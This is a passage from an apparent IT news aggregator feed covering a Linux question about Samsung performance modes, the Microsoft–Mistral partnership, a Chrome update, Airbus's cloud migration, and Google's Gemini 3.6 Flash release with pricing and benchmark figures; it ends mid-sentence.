<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey everyobody. I'll start by saying I don't know much about computer stuff and Linux but it's been a year since I've been considering switching to a Linux distro. I just can't stand all the Windows bloatwere and useless features that get my RAM full. The only thing keeping me from totally switching is the samsung's built-in performance mode selector. See, I bought this Galaxy Book 2 Pro SE a year ago and as you may know Samsung has a couple cool features on their laptops; this feature in particular is really useful for the use I do of my laptop, and I couldn't find an answer online about my doubt. I can switch between 4 different performance modes (from No Noise to High Performance) and since that's a Samsung's feature I don't know if that will work if I switch. Do y'all know if there's a way to have this feature on Linux or some equivalent? I don't know if what I'm asking is dumb, thanks for your time anyway!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/fferdyz"> /u/fferdyz </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v2zk76/samsung_performance_mode_on_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v2zk76/samsung_performance_mode_on_linux/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
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<title><![CDATA[Chrome for Android Update]]></title>
<description><![CDATA[     Hi, everyone! We've just released Chrome 150 (150.0.7871.181) for Android. It'll become available on Google Play over the next few days. This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us...]]></description>
<link>https://tsecurity.de/de/3685017/it-security-nachrichten/chrome-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685017/it-security-nachrichten/chrome-for-android-update/</guid>
<pubDate>Wed, 22 Jul 2026 01:37:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>     Hi, everyone! We've just released <b>Chrome 150 (150.0.7871.181)</b> for Android. It'll become <a href="https://play.google.com/store/apps/details?id=com.android.chrome">available on Google Play</a> over the next few days. </p><p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.128..150.0.7871.181?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.</p><div><br></div><div>Android releases contain the same security fixes as their corresponding<a href="https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0256605430.html"> Desktop releases</a> (Windows &amp; Mac: 150.0.7871.181/182, Linux: 150.0.7871.181) unless otherwise noted.</div><div><div><br></div><div><div>Krishna Govind</div><div><a href="https://www.google.com/chrome/">Google Chrome</a></div></div></div>]]></content:encoded>
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<title><![CDATA[Airbus Migrating 70 Critical Apps From AWS to France's Scaleway]]></title>
<description><![CDATA[Airbus is moving 70 critical applications from AWS to French cloud provider Scaleway as part of a broader digital sovereignty push to keep sensitive data "under European control." Eventually, the migration will cover 900 applications, including ERP, CRM, manufacturing execution, and product lifec...]]></description>
<link>https://tsecurity.de/de/3685008/it-security-nachrichten/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway/</link>
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<pubDate>Wed, 22 Jul 2026 01:15:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Airbus is moving 70 critical applications from AWS to French cloud provider Scaleway as part of a broader digital sovereignty push to keep sensitive data "under European control." Eventually, the migration will cover 900 applications, including ERP, CRM, manufacturing execution, and product lifecycle management systems. Airbus says it will, however, continue using U.S. providers for less sensitive workloads. "We do not intend to move away from all non European solutions; we balance our choices based on the criticality of the data," the company said. The Register reports: Catherine Jestin, head of digital at Airbus, told us on Thursday: "The selection of Scaleway is a combination of a very strong technical answer and a very strong commercial offer making it competitive compared to hyperscalers' public cloud offerings. In addition, Scaleway is committed to involving Airbus in the definition of its future product roadmap." "The objective is to host Airbus's most critical applications (those required for the Minimum Viable Company). This represents 900 applications and we will start with 70 of them today hosted on AWS."
 
Applications being sent to Scaleway include ERP, manufacturing execution systems, CRM, and product lifecycle management. Finding a cloud provider to host its most sensitive applications for defense and industrial workloads was not a certainty when the process began, Airbus told us last year, because European cloud providers do not have the scale of their US rivals.
 
Jestin said Airbus will continue to work with AWS. Skywise, a platform that aggregates and analyzes aviation data, and Case Management Assistant for customers' technical queries will continue to be hosted by AWS. In a statement, she said: "By integrating a trusted, high performance, cloud environment that keeps our critical data assets shielded from foreign extraterritorial laws, we are ensuring that our digital infrastructure keeps pace with our aerospace innovation, while maintaining control and resilience of our industrial operations."<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/21/2050242/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Linux 7.2 Improves Intel Panther Lake Xe3 Arc B390 Graphics Performance Review]]></title>
<description><![CDATA[submitted by    /u/RenatsMC   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3684993/linux-tipps/linux-72-improves-intel-panther-lake-xe3-arc-b390-graphics-performance-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684993/linux-tipps/linux-72-improves-intel-panther-lake-xe3-arc-b390-graphics-performance-review/</guid>
<pubDate>Wed, 22 Jul 2026 01:08:22 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/RenatsMC"> /u/RenatsMC </a> <br> <span><a href="https://www.phoronix.com/review/linux-72-panther-lake">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v2h1pd/linux_72_improves_intel_panther_lake_xe3_arc_b390/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a 